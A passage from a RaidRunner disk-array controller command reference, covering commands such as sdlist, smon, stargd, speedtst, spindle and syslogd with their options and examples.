    • NOTE: A GLOBAL environment variable is one which is stored in a non volatile area on the RaidRunner and hence is available between successive power cycles or reboots. These variables ARE NOT the same as husky environment variables. The non volatile area is co-located with the RaidRunner Configuration area.
    • SEE ALSO: printenv, unsetenv, rconf

    13.87 SDLIST - Set or display an internal list of attached disk drives

    • SYNOPSIS
      • sdlist
      • sdlist -p
      • sdlist backend_triplett_list
    • DESCRIPTION: sdlist maintains a list of disk backends, in rank, chip, scsi lun form for a RaidRunner. This list is used by various commands to save those commands from continuously probing for all possible backends. When run without arguments, sdlist zero's the internal list and probes for all disk backends rebuilding the list. Typically, sdlist will be run with a list provided to it by way of it's arguments. For example, on a RaidRunner with one rank (at scsi id 1) and six disks with all luns at zero the following would be run.
      sdlist `hwconf -D'

    which would equate to

    sdlist 0.1.0 1.1.0 2.1.0 3.1.0 4.1.0 5.1.0

    and those six tripletts would be stored in the list, with sdlist having already deleted any already stored list. To see what this internal list contains, the -p option can be given and the list will be printed. This command is typically executed during autoboot and would not be executed interactively unless the user is performing unusual backend manipulations and is debugging the process.

  • SEE ALSO: rconf

    • 13.88 SETIV - set an internal RaidRunner variable

    • SYNOPSIS:
      • setiv
      • setiv name value
    • DESCRIPTION: setiv allows the value of an internal RaidRunner variable to be changed or lists all changeable internal variables (no argument). When a value is given then the internal RaidRunner variable name is set to that value. If no value is given the all settable internal variables are listed.
    • NOTES: As different models of RaidRunners have different settable internal variables see your RaidRunner's Hardware Reference manual for a list of variables together with the effect of changing them. These variables are run-time variables and hence must be set each time the RaidRunner is booted.
    • SEE ALSO: getiv

    13.89 SHOWBAT - display information about battery backed-up ram

    • SYNOPSIS: showbat [-a] [-n] [-s] [-t]
    • DESCRIPTION: showbat will print (to standard output) information about the installed battery backed-up ram.
    • OPTIONS :
      • -a: Print address information about battery backed-up ram. The addresses printed are the base address, start of tag address, start of reserved area address, start of cache data address and the first unused byte address.
      • This is the default if no options are given.
      • -n: Print the number of tags in battery backed-up ram.
      • -s: Print the status of the battery backed-up ram.
      • -t: For each tag in battery backed-up ram, print it's value and the location of it's data along with details of the cache range it belongs to. If the cache filesystem has not been created and the ranges added then this option will only print out the tag addresses and inform you that no ranges are available. If the data associated with the tag has partially written data in it, the tag will be flagged in the list.
    • SEE ALSO: cachedump, cacherestore, cacheflush

    13.90 SHUTDOWN - script to place the RaidRunner into a shutdown or quiescent state

    • SYNOPSIS: shutdown
    • DESCRIPTION: shutdown is a husky script which is used to place the RaidRunner into the "shutdown" or quiescent state. The "shutdown state" is one in which the raid sets configured cannot be accessed by a host and all devices (disks) attached to the RaidRunner are in a low power usage state (i.e spun down). shutdown first set's all stargd's to a spin state of 2 which means that all host scsi medium-access commands will result in a CHECK CONDITION status and set the mode sense key to NOT READY and the additional mode sense code and code qualifier to "LOGICAL UNIT NOT READY, MANUAL INTERVENTION REQUIRED". It will then flush the cache and finally spin down all backend devices attached. Note that the scsi monitors - smon, are not effected.
    • SEE ALSO: stargd, mstargd, cache, spind

    13.91 SLEEP - sleep for the given number of seconds

    • SYNOPSIS: sleep seconds
    • DESCRIPTION: sleep causes the current K9 process to "sleep" for the given number of seconds. The argument seconds may be any integer or a fixed point number (e.g. 1.5). The resolution of timing is one clock tick (which varies according to the target hardware). If the sleep is interrupted before it completes then a "sleep interrupted" status message is returned otherwise NIL (i.e. true) is returned.
    • SEE ALSO: K9sleep

    13.92 SMON - RaidRunner SCSI monitor daemon

    • SYNOPSIS: smon [-b blkprotocol] [-d debug_level] -m moniker -h hport [-n] [-r] [-1 stdout_fifo_file] [-2 stderr_fifo_file] [-3 status_file] -s capacity device id lun
    • DESCRIPTION: smon is a daemon process that simulates a SCSI-2 disk with modified Read and Write SCSI commands that implement a simple protocol which provides file transfer to and from the RaidRunner and remote command execution on the RaidRunner. The protocol is based on the SCSI Read and SCSI Write starting block addresses. smon usually works closely with a special device (file system) that does the hardware interfacing and message interpretation for a SCSI-2 target (see scsihp). smon has 3 mandatory switches, 8 optional switches and 3 mandatory positional arguments. The mandatory switches are the -s switch which specifies the size of the SCSI-2 monitor store, the -m switch which specifies the moniker (name) of the target and the -h switch which specifies the controller host port the monitor will communicate over. The 3 mandatory positional arguments are device, id and lun. These arguments are concatenated together to make the filename of the low level SCSI target device driver. The second argument is the SCSI identifier number this target will respond to while the third argument is the logical unit number (LUN) within that SCSI identifier which the target represents. An error will occur during daemon initialization unless the following files (with appropriate characteristics) are found:
      • device/id/lun/cmnd
      • device/id/lun/data
    • OPTIONS The optional switches may appear in any order but if present must be before the positional arguments.
    • -b blkprotocol: Change the block numbers used in the protocol (see below). By default the block numbers used in the protocol are 7, 8, 9 10, 11, 12, 13, 14 and 15 for protocol elements BLK_STDOUT, BLK_STDERR, BLK_STATUS, BLK_ENDPROC, BLK_UPLOAD, BLK_STDIN, BLK_MONITOR BLK_RESET and BLK_RCONFIG respectively. To change this default list of block numbers, specify a comma separated list of nine(9) unique block numbers.
    • -d debuglevel: This switch is a debug flag. When given the command line arguments and other information derived during initialization are echoed back to standard out and the debug level is set to 1. The debug levels are:
      • 0 no debug messages (default when "-d" not given)
      • 1 debug messages on all non-read/write commands
      • 2 debug messages on all commands
    • Debug messages are typically a single line per command and are sent to standard out. Serious errors are reported to standard error irrespective of the current debug level. If the error is related to incoming data (from the SCSI initiator) then the daemon will continue. If the error cannot be recovered from, then the daemon terminates with an error message as its exit status. The debug level can be changed during the execution of a smon daemon by using the "-d" option on mstargd.
    • -m moniker: This switch associates the moniker (i.e name) with the scsi monitor that smon is about to execute on. It provides a method of naming scsi monitors. The moniker can be a maximum of 32 characters. This switch is mandatory.
    • -h hport: This switch advises smon which controller host port number it will be communicating over. This switch is mandatory.
    • -n: This switch stops statistics being gathered. The default action is to collect statistics.
    • -r: This switch is for restarting the daemon with as little disturbance to the initiator as possible. Usually the SCSI Unit attention condition is set on reset (and when this daemon commences). When this switch is given the daemon starts in the idle state. Use with care. The default action (i.e. when the "-r" is not given) is to set a SCSI Unit attention condition so that the first SCSI command received will have its status returned as "Check condition" (as required by the SCSI-2 standard).
    • -1 stdout_fifo_file: Specify the name of the fifo data file where the standard output of any executed commands is to be sent (and read from).
    • -2 stderr_fifo_file: Specify the name of the fifo data file where the standard error output of any executed commands is to be sent (and read from).
    • -3 status_file: Specify the name of the fifo data file where the exit status of any executed command is to be written to (and read from).
    • -s capacity: This mandatory switch informs the daemon what the size in blocks this SCSI target will represent. The value for capacity effects the response this target makes to the SCSI Read Capacity and Mode Sense (page 4) commands. To simplify writing out large numbers certain suffixes can be used, see suffix.
    • PROTOCOL: smon appears as a disk with the given capacity, scsi id and scsi lun to a host computer. By reading and writing to specific block locations on this disk, the host computer can send and have executed husky commands on the RaidRunner and read back the command's standard output, error and status. Additionally files can be both downloaded from the host onto the RaidRunner and uploaded from the RaidRunner onto the local host computer. All reads and writes by the host need to be in multiples of 512 byte blocks with null padding as appropriate. When WRITEing (from the host) to smon, the data, depending on the block number, contained in the write will be treated as follows -
    • BLK_ENDPROC: Will kill any processes, started by smon, currently running on the RaidRunner. The contents of the write's data will be read but ignored.
    • BLK_RESET: Will terminate any file transfers, kill any process(s) (started by smon) currently running on the RaidRunner, close any files opened by smon and reset smon to it's initial state. The contents of the write's data will be read but ignored.
    • BLK_STDIN: If smon is in DOWNLOAD file transfer mode, the contents of the write's data will be written out to the download file on the RaidRunner. If not in DOWNLOAD file transfer mode, will asynchronously execute the contents of the write as a husky command. Before execution of the command, the command is checked to see if it is an internal file transfer smon command, and if so, will initialize for file transfer.
    • Any other: Will perform the write to the internal store. Up to 16 blocks of data will be stored in the raid configuration area.
    • When READing (by the host) from smon, the data, depending on the block number, contained in the read will be treated as follows -
    • BLK_STDOUT: This read will return the currently available standard output from the previously executed command. If the number of bytes of stan dard output is less than the size of the read's data the data will be padded with NULL's ('\0'). If the number of bytes of standard output is more than the size of the read, then subsequent reads from BLK_STDOUT will transfer the rest of the standard output. Normally one would loop reads from BLK_STDOUT until the last character in the read buffer is NULL. If the previous command was a write to start a download, then a read of one block will next be expected and will return either a block of NULL's or an error message indicating a problem with the initialization of the download.
    • BLK_STDERR: This read will return the currently available standard error out put from the previously executed command in the same manner as BLK_STDOUT.
    • BLK_ENDPROC: If the previously executed command (write to block BLK_STDIN) has not completed this read will return with it's buffer starting with "Process not finished" and NULL padded. If the command has completed then it will return a NULL filled buffer.
    • BLK_STATUS: A read from this block will return the command's husky exit status (the $status variable).
    • BLK_UPLOAD: Will first return either the UPLOAD handshake command (response to a UPLOAD write command) which is of the form UPLOAD nbytes where nbytes is the number of bytes in the file that has just been requested to be uploaded from the RaidRunner or an error message, then all reads from this block onwards will contain the next buffer from the uploaded file.
    • BLK_MONITOR: Will first return either the MONITOR handshake command (response to a MONITOR write command) which is of the form MONITORSIZ nbytes where nbytes is the number of bytes of monitor data that will need to be transferred up to the host OR an error message if there is no monitoring data. All subsequent reads will upload the monitoring data.
    • BLK_RCONFIG: Successively reading in data from this block will return successive data from the in-core raid configuration area. When a BLK_RESET is written, the internal smon index into the in-core raid configuration area is reset (set to 0). When a number of blocks from BLK_RCONFIG are this internal index is incremented by the amount of data read. If more data is read than is available in the in-core raid configuration area, then the index is reset to 0.
    • Any other: Will perform the read from the internal store.
    • Internal Store: Typically, a host computer stores labels, boot and disk partition information on all disks. On most host computers, they usually only store this information in a few blocks either at the start of the disk and/or near the end of the disk. Rather than smon reserving this space as a continuous piece of memory, most of which would not be used, an internal store of 16 512-byte blocks is created and maintains a mapping of host block addresses to the store. This store is copied to the raid configuration area noting the controller number and host port number smon is running on. If the store fills as a host computer writes many blocks to the smon disk, the additional data is discarded. If a host computer attempts to read blocks that have not been stored, then null fill data is returned.
    • SIGNALS: Two K9 signals are interpreted specially by smon.
    • If the signal K9_SIGINT is received then smon will check to see whether there is a command in progress and if so terminate it with a "Check condition" status and set the associated sense key to "Command aborted". smon will then return to its command (waiting) mode.
    • If the signal K9_SIGTERM is received then smon will do the same as it does for K9_SIGINT except it will exit the process rather than going to command (waiting) mode.

    The SCSI initiator should interpret a sense key of "Command aborted" as the target unilaterally aborting a command in progress. The SCSI-2 standard suggests the initiator should retry the aborted command.

    • EXAMPLE
      smon -s 2080 -h 1 -m SMON167 /dev/hostbus/1 6 7

    This line will invoke this daemon and try and open the following files:

    /dev/hostbus/1/6/7/cmnd

    and

    /dev/hostbus/1/6/7/data

    The "-s 2080" switch instructs this daemon to tell SCSI initiators that it is a 1040K disk.

  • SEE ALSO: scsihp, suffix, mstargd, stargd, mconf

    • 13.93 SOS - pulse the buzzer to emit sos's

    • SYNOPSIS: sos [count]
    • DESCRIPTION: sos will sound the buzzer in a plaintif "SOS" in Morse. If a count is given, it will repeat count times. The default count is 3.
    • SEE ALSO: buzzer, warble

    13.94 SPEEDTST - Generate a set number of sequential writes then reads

    • SYNOPSIS: speedtst -d device -n io_cnt -X bufsize [-o offset] [-STRW]
    • DESCRIPTION: By default speedtst will perform io_cnt sequential writes of size bufsize bytes onto the device from the start of the device. It will then do io_cnt sequential reads of size bufsize bytes from the start of the device device. By default reads and writes are not checked for success. The output of this command provides the I/O transfer rates in Megabytes (MB) and million bytes (mb) for both the write and read sequences. The bufsize and offset values may have a suffix.
    • OPTIONS:
      • -o offset: All reads and writes are to be performed offset bytes into the device. All reported values will be relative to this offset. The default is 0 i.e the start of the device.
      • -r drives: The bufsize (set by -X bufsize) is expected to be to iosize of a Raid 5 raid set where drives is the number of data and parity drive. A single bufsize operation is performed to a drive in each strip of the raidset in such a fashion that either the data drive and the parity drive (the only two drives written too in a write operation) will not be the same drives as would have been written too, if the previous operation on the previous stripe had been a write. The default value is 0, causing normal sequential operations. This option is used to simulate random operations on a raidset without the penalty of significant seek overheads.
      • -R: By default speedtst will perform a write test then a read test. Specifying this option, the write test will NOT be performed.
      • -S: Normally the device, device, is opened in a default manner which may allow the host operating system to provide buffers when writing data to it. This may result in incorrect I/O through put rates. By setting this option, the device is opened in such a way to ensure that writes do not use any buffering and the individual write system calls do not return until the data is on the device.
      • -T: Normally the read and write operations are NOT checked for success, that is the return values for the read and write system calls are not checked for errors. To ensure each read and write is checked for any system error, use this flag.
      • -W: By default speedtst will perform a write test then a read test. Specifying this option, the read test will NOT be performed.
    • SEE ALSO: randio, suffix

    13.95 SPIND - Spin up or down a disk device

    • SYNOPSIS:
      • spind up c.s.l
      • spind down c.s.l
    • DESCRIPTION: spind will either spin down or spin up a nominated disk drive via the SCSI-2 START command.
    • OPTIONS:
      • up: Spin up the disk drive. If the drive is already spun up nothing will occur.
      • down: Spin down the disk drive. If the drive is already spun down nothing will occur.
      • c.s.l: Identify the disk device by specifying it's channel, SCSI ID (rank) and SCSI LUN provided in the format "c.s.l"
    • SEE ALSO: Product manual for disk drives used in your RaidRunner.

    13.96 SPINDLE - Modify Spindle Synchronization on a disk device

    • SYNOPSIS
      • spindle -c -p c.s.l [-o rpl_offset]
      • spindle -m|M -p c.s.l [-o rpl_offset]
      • spindle -s -p c.s.l [-o rpl_offset]
      • spindle -g -p c.s.l
    • DESCRIPTION: spindle will either modify or report on a disk device's spindle synchronization. This command will set or clear the Rotational Position Locking (RPL) bits in the disk device's GeometryParameter's mode sense page. If spindle correctly modifies the device's RPL bits, it will print out the resultant RPL bits and the Rotational Offset byte of the device's Geometry Parameter mode sense page.
    • OPTIONS:
      • -p c.s.l: Identify the disk device to modify by specifying it's channel, SCSI ID (rank) and SCSI LUN provided in the format "c.s.l"
      • -c: Clear the RPL bits.
      • -s: Set the RPL bits to 01b (0x1) which typically sets the device to operate as a synchronized-spindle slave.
      • -m: Set the RPL bits to 10b (0x2) which typically sets the device to operate as a synchronized-spindle master.
      • -M: Set the RPL bits to 11b (0x3) which typically sets the device to operate as a synchronized-spindle master control.
      • -g: Get and print the current RPL bits and the Rotational Offset byte from the device's Geometry Parameters Page.
      • -o rpl_offset: When clearing (-c) or setting (-m, -M, -s) spindle synchronization additionally set the rotational off- set to the given value. Must be in range from 0 to 256. This value is the numerator of a fractional multiplier that has 256 as it's denominator (eg a value of 128 indicates a one-half revolution skew). A value of zero (0) indicates that rotational offset shall not be used.
    • SEE ALSO: The mode sense geometry page references in the relevant product manual for the disks used in the RaidRunner.

    13.97 SRANKS - set the accessible backend ranks for a controller

    • SYNOPSIS: sranks controller_id:ranklist [controller_id:ranklist]
    • DESCRIPTION: sranks allows you to set backend rank restrictions, as specified by the arguments, for controller on which the command is set. Each argument is of the form
      controller_id  the id of the controller (0, 1, ...).

    ranklist a comma separated list of rank id's (scsi id's) for which the given controller is to have access. sranks will check each argument looking for the controller id corresponding to the controller it's running on and set the backend rank access as per the ranklist. Typically, this command is executed with the output of the BackendRanks GLOBAL environment variable at boot time.j

  • SEE ALSO: environ, pranks

    • 13.98 STARGD - daemon for SCSI-2 target

    • SYNOPSIS: stargd [-c] [-d] -m moniker -h hport -s capacity [-n] [-r] [-L cnt] [-P nprocs] [-R] [-S sectorsize] [-nr nrread:nrlen] [-C] [-stripesize stripesize] [-irgap nblks] [-stripe stripe_args] device id lun store [store2]
    • DESCRIPTION: stargd is a daemon process that interprets SCSI-2 commands as a "target". [In simple SCSI configurations the host computer is a SCSI "initiator" while its disk is a SCSI "target".] stargd usually works closely with a special device (file system) that does the hardware interfacing and message interpretation for a SCSI-2 target (see scsihp). When stargd first starts, it's "spin state", is set to indicate that thestore file has yet to "spin-up" and hence is NOT READY. This means that until the spin state is changed to be marked as READY (via mstargd "-o" option ) all supported SCSI-2 medium-access commands will result in a CHECK CONDITION with the sense key set to "NOT READY" and additional sense information set to "LOGICAL UNIT IN PROCESS OF BECOMMING READY" When the spin state is marked as READY all supported SCSI-2 medium-access commands are processed correctly. Additional NOT READY states can be set by mstargd's -Z option.
    • OPTIONS: stargd has 3 mandatory switches, 8 optional switches and 4 mandatory positional arguments and an optional trailing positional argument. The mandatory switches are the -m switch which associates the moniker (i.e name) with the raid set that stargd is about to execute on (this provides a method of naming raid sets), the -c switch which specifies the capacity of the backend and the -h switch which advises stargd which controller host port it will be communicating over. The 4 mandatory positional arguments are device, id, lun and store. The first 3 are concatenated together to make the filename of the low level SCSI target device driver.
      • The second argument is the SCSI identifier number this target will respond to while the third argument is the logical unit number (LUN) within that SCSI identifier which the target represents. An error will occur during daemon initialization unless the following files (with appropriate characteristics) are found:
        device/id/lun/cmnd

        device/id/lun/data
    • The fourth positional argument is store. It will typically be a cache device although it could be a single disk or a raid level. The trailing optional positional argument is store2. If the filename store2 can be opened and the "-c" argument is _not_ given then writes to store are echoed to store2. The SCSI commands that cause writes at this level are Write_6 and Write_10. If store2 cannot be opened (for writing) or the "-c" argument is given then a warning message is output during stargd initialization and it continues as if store2 had not been given.
    • All switches may appear in any order but if present must be before the positional arguments.
    • The "-L cnt" switch indicates that stargd is to implement a lookahead process for SCSI-2 reads (Read_6 and Read_10) which pre-fetches data into the cache based on the last cnt SCSI-2 reads. The default is a readahead of 16 reads (i.e -L 16). The minimum readahead is 2 and the maximum is 63. You can specify readahead to be 0 which turns off all lookahead. This switch can only be used when cache (-c) is being used. The "-nr nread:nrlen" is used to specify 'natural read' information to stargd. Some applications may perform reads of a certain size which is greater than the largest read the host operating system will allow. In this case, the host operating system will break the application's read up into smaller reads. stargd can trigger on a certain discontinuous read (by specifying a size in blocks - nread) and will prefetch prefetch the rest of the application read (nrlen). For example, if an application performs a read of 304 blocks on a host operating system which has a maximum read size of 128 blocks, then you could set the -nr arguments nread:nrlen to 128:304 which will cause stargd to, when it sees a discontinuous read of size 128 blocks, service the read and also prefectch into cache, the next 304 - 128 = 176 blocks of data. See scsihpmtr for analysis of host operating system reads.
    • The "-stripesize stripesize" switch informs stargd the stripe size of the raid set which stargd is fronting. If the additional -C switch toggles whether this value (stripesize) will be used to calculate a cylinder size (heads x sectors per track) that ensures that a cylinder is a multiple of the given stripe size. If the stripe size is such that there is no multiple of heads and sectors that, when multiplied together, is not a multiple of the stripe size, then the default head and sectors per track sizes are used - currently 16 head, 128 sectors per track.
    • The "-stripe stripe_args" switch informs stargd that a number of host ports will be concurrently accessing this raid set. This switch is only usefull when the host based disk access software can "stripe" io to N different devices and each access (read or write) is always less than a set stripesize.
    • The stripe_args are of the form N:S:I=c.h.l,I=c.h.l, where: N is the number of stripes (or host ports) that will be concurrently accessing the raid set, S is the stripe size (in 512-byte blocks) that the host will perform i/o in, I is an index or "stripe number" specifier ranging from 0 to N. c.h.l is the controller, host port, lun triplet, associated with the given index. For example, if we have two host ports and the given stripe-size from the host is, say, 1368 blocks, we would then have the following raid: set additions (in agui form) Host Interfaces (2): M 0.0.0 M 0.1.0 Additional stargd args: -stripe 2:1368:0=0.0.0,1=0.1.0 NOTE: that it has to be guaranteed that the host stripe software will send block 0 (size 1368 or less) to controller, host port, lun triplet 0.0.0 and block 1 (size 1368 or less) controller, host port, lun triplet 0.1.0, block 2 (size 1368 or less) to controller, host port, lun triplet 0.0.0, and so forth.
  • The "-C" switch is used to toggle whether stargd calculates a cylinder size such that it is a multiple of the given stripe size. The default is to calculate a cylinder size based on the given stripe size.
  • The "-irgap nblks" switch, specifies the inter-read gap, nblks, (in blocks). When sequential reads arrive from a host there may be a small gap between successive reads. Normally the lookahead algorithm will ignore these gaps providing they are no larger than the average length of the group of sequential reads that have occurred. By specifying this value, you can increase this gap. This switch has no meaning if the lookahead feature is turned off (i.e specifying "-L 0").
  • The "-R" switch indicates that store should have read-only access. If this switch is NOT present, then the store is assumed to have read-write access.
  • The "-c" switch indicates that store is a cache (rather than a disk or something else remote). This knowledge decreases the number of internal copies this daemon needs to do so it is a performance enhancement. The default (i.e. when this switch is not present) is to do the extra copy which is the safe course if the exact identity of the store is uncertain.
  • The "-d" switch is a debug flag. When given the command line arguments and other information derived during initialization are echoed back to standard out and the debug level is set to 1. The debug levels are:
    • 0 no debug messages (default when "-d" not given)
    • 1 debug messages on all non-read/write commands
    • 2 debug messages on all commands

    • Debug messages are typically a single line per command and are sent to standard out. Serious errors are reported to standard error irrespective of the current debug level. If the error is related to incoming data (from the SCSI initiator) then the daemon will continue. If the error cannot be recovered from, then the daemon terminates with an error message as its exit status. The debug level can be changed during the execution of a stargd daemon by using the "-d" option on mstargd.

  • The "-m" switch associates the moniker (i.e name) with the raid set that stargd is about to execute on. It provides a method of naming raid sets. The moniker can be a maximum of 32 characters. This switch is mandatory.

  • The "-h" switch informs stargd which controller host port it will be communicating over. This switch is mandatory.
  • The "-n" switch toggles statistics being gathered. The default action is to collect statistics.
  • The "-r" switch is for restarting the daemon with as little disturbance to the initiator as possible. Usually the SCSI Unit attention condition is set on reset (and when this daemon commences). When this switch is given the daemon starts in the idle state. Use with care. The default action (i.e. when the "-r" is not given) is to set a SCSI Unit attention condition so that the first SCSI command received will have its status returned as "Check condition" (as required by the SCSI-2 standard).
  • The "-s capacity" switch informs the daemon what the size in blocks this SCSI target will represent. The value for capacity effects the response this target makes to the SCSI Read Capacity and Mode Sense (page 4) commands. This switch is mandatory. To simplify writing out large numbers certain suffixes can be used, see suffix.
  • The "-P nprocs" switch causes the daemon to spawn off nprocs copies of it self to allow concurrent processing of SCSI commands. If not specified, the default number of stargd processes created is 4. This value can range from 1 to 8 inclusive. The additional processes will not be created until the first access from the host port. The "-S sectorsize switch informs the daemon what sector size, in bytes, this SCSI target will present. The value defaults to 512 - the typical disk block size. To simplify writing out large numbers certain suffixes can be used, see suffix.
  • SIGNALS: Two K9 signals are interpreted specially by stargd.
    • If the signal K9_SIGINT is received then stargd will check to see whether there is a command in progress and if so terminate it with a "Check condition" status and set the associated sense key to "Command aborted". stargd will then return to its command (waiting) mode.
    • If the signal K9_SIGTERM is received then stargd will do the same as it does for K9_SIGINT except it will exit the process rather than going to command (waiting) mode.
    • The SCSI initiator should interpret a sense key of "Command aborted" as the target unilaterally aborting a command in progress. The SCSI-2 standard suggests the initiator should retry the aborted command.
  • EXAMPLE:
    stargd -c -s 2M -m RS -h 1 /dev/hostbus/1 6 0 /cache/data

    • This line will invoke this daemon and try and open the following files:

    /dev/hostbus/1/6/0/cmnd

    and

    /dev/hostbus/1/6/0/data

    The file "/cache/data" will be used as store. The "-c" switch identifies this file id as a cache to stargd. The "-s 2M" switch instructs this daemon to tell SCSI initiators that it is a 1 GigaByte disk (i.e. 2 MegaBlocks).

  • SUPPORTED SCSI-2 COMMANDS: The table below lists the supported SCSI-2 commands (Code and Name) and their action under stargd.
    00: Test Unit Ready  If backend is ready returns GOOD Status, else sets
 Sense Key to Not Ready and returns CHECK CONDITION Status

    01: Rezero Unit      Does nothing, returns GOOD Status

    03: Request Sense    Sense data held on a per initiator basis (plus extra
 for bad LUN's)

    04: Format Unit      Does nothing, returns GOOD Status

    07: Reassign Blocks  Consumes data but does nothing, returns GOOD Status

    08: Read_6           DPO, FUA and RelAdr not supported

    0a: Write_6          DPO, FUA and RelAdr not supported

    0b: Seek_6           Does nothing, returns GOOD Status

    12: Inquiry          Only standard 36 byte data format supported (not vital
 product data pages)

    15: Mode Select      Support pages 1, 2, 3, 4, 8 and 10 (but none writable)

    16: Reserve          Doesn't support extents + 3rd parties

    17: Release          Doesn't support extents + 3rd parties

    1a: Mode Sense       Support pages 1, 2, 3, 4, 8 and 10.

    1b  Start Stop       If Start is requested and the Immediate bit is 0 then
 waits for backend to become ready, else does nothing and returns GOOD Status.
 If backend does not become ready within 20 seconds set Sense Key to Not Ready
 and returns CHECK  CONDITION Status

    1d  Send Diagnostics Returns GOOD Status when self test else complains
 (does nothing internally)

    25  Read Capacity    RelAdr, PMI and logical address > 0 are not supported

    28  Read_10          Same as Read_6

    2a  Write_10         Same as Write_6

    2b  Seek_10          Does nothing, returns GOOD Status

    2f  Verify           Does nothing, returns GOOD Status

    55  Mode Select_10   Same as Mode Select

    5a  Mode Sense_10    Same as Mode Sense
  • SEE ALSO: scsihp, suffix, mstargd

    • 13.99 STAT - get status information on the named files (or stdin)

    • SYNOPSIS: stat [-b] [file...]
    • DESCRIPTION: stat gets status information on each given file, or the standard input when a file named `-' is given, and sends it to the standard output. For files that are found a line with 6 columns is output. The meaning of each column is summarized below:
      • 1st filename
      • 2nd type of file system containing this file
      • 3rd instance of the containing file system
      • 4th unique (internal) file identifier
      • 5th version number of this file
      • 6th length of this file (in bytes)
    • If the -b option is given, then the length of each file (6th field) is printed in 512-byte blocks. Only whole blocks are reported, so files with lengths less than 512-byte blocks will report is having a block size of zero (0).
    • EXAMPLE
      : raid; stat /bin/ps

      ps                               ram    0 0x00049049    2 144

      : raid;
    • SEE ALSO: K9getstat, intro

    13.100 STATS - Print cumulative performance statistics on a Raid Set or Cache Range

    • SYNOPSIS: stats [-c cache_moniker] [-r raid_set] [-g] [-z]
    • DESCRIPTION: stats is a process that will print and or zero the cumulative performance statistics which Raid Set's and Cache Ranges maintain.
    • OPTIONS:
      • -c cache_moniker: Zero (-z) and or print (-g) the cache statistics of the cache range specified by cache_moniker which was set in the add moniker=cache_moniker first= ... command (see cache). The statistics printed are the number of cache hits, cache misses, cache probes per hit and probes per miss. Output is in the form
        moniker : hits+misses hits misses hit+miss_probes hit_probes miss_probes
      • r raidset_name: Zero (-z) and or print (-g) the raid set statistics of the raid set specified by raidset_name. When printing (-g) statistics, for each backend in the raid set, the cumulative number of reads, writes, raid failures and write failures to that backend are printed. Output is in the form
        D0 r0_cnt r0_fails w0_cnt w0_fails; D1 r1_cnt r1_fails w1_cnt w1_fails;
 D...;
    • GENERAL: When gathering (or zeroing) a Cache Range's statistics, a special system call to the RaidRunners cache is made. When gathering (or zeroing) a Raid Set's statistics, a read or write (of the control string "zerostats" is made to the raid_bind_point/stats control file.
    • SEE ALSO: cache, raid0, raid1, raid3, raid5

    13.101 STRING - perform a string operation on a given value

    • SYNOPSIS: string option value
    • DESCRIPTION: string provides various string type operations on the given value which is treated as a string. Options are length, range and split.
    • OPTIONS:
      • length string: The length option returns the number of characters in the given string.
      • range string first last: The range option returns the substring from the given string that lies between the indices given by first and last. An index of 0 refers to the first character in the string. If last is beyond the length of the string, then it becomes the index of the last character in the string. If first is less than last then the substring is extracted backwards.
      • split string split_ch: The split option will replace each occurrence of the character split_ch in the given string with a space.
    • EXAMPLES: Some simple examples:
      set string ABCDEFGHIJ              # create the string

      set subs `string length $string'   # get it's length

      echo $subs

      10

      set subs `string range $string 2 2'     # extract character
 at index 3

      echo $subs

      C

      set subs `string range $string 3 6'     # extract from indices
 3 to 6

      echo $subs

      DEFG

      set subs `string range $string 6 3'     # backwards

      echo $subs

      GFED

      set subs `string range $string 4 70'    # extract from index
 4 to 70 (or end)

      echo $subs

      EFGHIJ

      set string D1,D2,D4,D8             # create the string

      set subs `string split $string ,'  # split the string

      echo $subs

      D1 D2 D4 D8

    13.102 SUFFIX - Suffixes permitted on some big decimal numbers

    • DESCRIPTION: In some commands that can take big decimal numbers as arguments certain suffixes are allowed. The suffix is a single alphabetical character that must follow immediately after the decimal number it is qualifying. The alphabetical character may be upper or lower case. Negative numbers cannot have suffixes. The accepted suffixes are:
    • w: multiply number by 2
    • b: multiply number by 512
    • k: multiply number by 1024
    • m: multiply number by 1048576
    • g: multiply number by 1073741824

    The resulting number must fit in a 32 bit unsigned number which means "3G" can be represented (== 3,221,225,472) but "4G" cannot. "0G" is allowable and is interpreted as zero.

    • COMMANDS USING SUFFIXES: dd, stargd

    13.103 SYSLOG - device to send system messages for logging

    • SYNOPSIS: bind -k syslog bind_point
    • DESCRIPTION: The syslog file system provides user level entry of messages into the system logging facility (see syslogd). Writes to this device will be time-stamped and stored with a message class of "NOTICE" in the system log. Reads from this device will return EOF. By default the system logging device is bound at /dev/syslog.
    • EXAMPLE:
      > /dev/syslog

      bind -k syslog /dev/syslog

      ls -l /dev/syslog

      /dev/syslog                   syslog    0 0x00000000    0 0

      echo {Some important message} > /dev/syslog

      syslogd

      1: INFO: RaidRunner Syslog Boot

      10: NOTICE: Some important message
  • SEE ALSO: syslogd

    • 13.104 SYSLOGD - initialize or access messages in the system log area

    • SYNOPSIS: syslogd [-I] [-p cnt]
    • DESCRIPTION: syslogd either initialize the system message logging area or print stored messages from that area.
    • OPTIONS:
    • -I: Initialize the system message logging area. This command is usually executed at boot time and is not normally invoked by the user.
    • -p cnt: Print the last cnt messages stored in the system message logging area. /nr This is the default if no options are given and cnt is set to 20. Messages are printed in the format -
      timestamp: message class: message

    where timestamp is the time the message was logged recorded as the number of seconds from the time the RaidRunner was booted, message class is the type of message logged indication the importance (or class) of the message. message is the message itself

    • MESSAGE CLASS There are currently nine (9) message classes
    1. EMERG: messages of an extremely serious nature from which the RaidRunner cannot recover
    2. ALERT: messages of a serious nature from which the RaidRunner can only partially recover
    3. CRIT: messages of a serious nature from which the RaidRunner can almost fully recover
    4. ERR: messages indicating internal errors
    5. WARNING: messages of a serious from which the RaidRunner can fully recover, for example automatic allocation of hot spare to Raid 1, 3 or 5 file system.
    6. NOTICE :messages logged via writes to syslog device
    7. INFO: informative messages
    8. DEBUG: debugging messages options are given and cnt is set to 20.
    9. REPEATS: Indicates that the previous message has been repeated N times every S seconds since it's initial entry.
    • SYSLOG OUTPUT: When messages are logged, they are stored in the system message logging area. If the global environment variable, SYSLOG_CONF, is set to a value of 'C' or is not set at all then messages will be printed to the console as well. If the message has a suffix of RPT N/S then this message has been logged N times every S seconds since it's initial entry into the system message logging area.
    • SEE ALSO: syslog, setenv

    13.105 TEST - condition evaluation command

    • SYNOPSIS: test expr
